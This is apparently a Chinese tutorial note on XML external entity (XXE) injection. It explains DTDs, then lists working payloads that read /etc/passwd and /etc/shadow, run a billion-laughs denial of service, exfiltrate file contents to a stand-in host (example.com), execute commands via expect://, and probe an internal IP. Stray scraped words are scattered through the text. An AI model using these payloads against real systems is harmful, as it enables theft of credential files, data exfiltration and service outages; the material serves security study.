xml是一種具備結構性的標記語言,用來標記數據,定義數據類型,容許用戶本身定義的源語言。在解析外部實體的過程當中,XML解析器能夠根據URL中指定的方案(協議)來查詢各類網絡協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對於在文檔中建立動態引用很是有用,這樣對引用資源所作的任何更改都會在文檔中自動更新。 可是,在處理外部實體時,能夠針對應用程序啓動許多攻擊。 這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各類方案的網絡訪問功能來操縱內部應用程序。 經過將這些攻擊與其餘實現缺陷相結合,這些攻擊的範圍能夠擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決於這些攻擊的上下文html
一種文檔類型定義 xml中標籤自己是能夠隨便定義的二,DTD至關於給xml標籤作個了類型限制約束服務器
例如: xxe.xml文件 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE 班級 SYSTEM "xxe.dtd"> <!--引入dtd文件,約束xml-->> <班級> <學生> <名字>xss</名字> <年齡>2</年齡> <介紹>1</介紹> </學生> </班級> xxe.dtd文件 <!ELEMENT 班級 (學生+)> <!ELEMENT 學生 (名字,年齡,介紹)> <!ELEMENT 名字(#PEDATA)> <!ELEMENT 年齡(#PEDATA)> <!ELEMENT 介紹(#PEDATA)>
參考大佬博客(https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-2-4-0)網絡
又稱爲xml外部實體注入漏洞,發生在應用程序解析xml輸入時,沒有禁止外部實體的加載,致使可加載惡意外部文件,形成文件讀取,命令執行,內網端口掃描,攻擊內網網站,dos攻擊等xss
例如:網站
有了xml實體,ststem會令xml解析器從url中讀取內容,並容許它在xml文檔中被替換。所以攻擊者能夠經過實體將他定義的值發送給應用程序而後實現。ui
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo> xml外部實體passwd被賦值成了file:///etc/passwd 所以運行解析時passwd就變成了file:///ect/passwd的內容
<!--?xml version="1.0" ?--> <userInfo> <firstName>John</firstName> <lastName>Doe</lastName> </userInfo>
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo>
<!--?xml version="1.0" ?--> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <tag>&lol9;</tag>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]> <foo>&blind;</foo>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
<?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <hhh>&f;<hhh>
<?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "expect://id"> ]> <hhh>&f;<hhh>
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY Quan SYSTEM "http://192.168.246.136:80"> ]> <reset><login>&Quan;</login><secret>Any bugs?</secret></reset>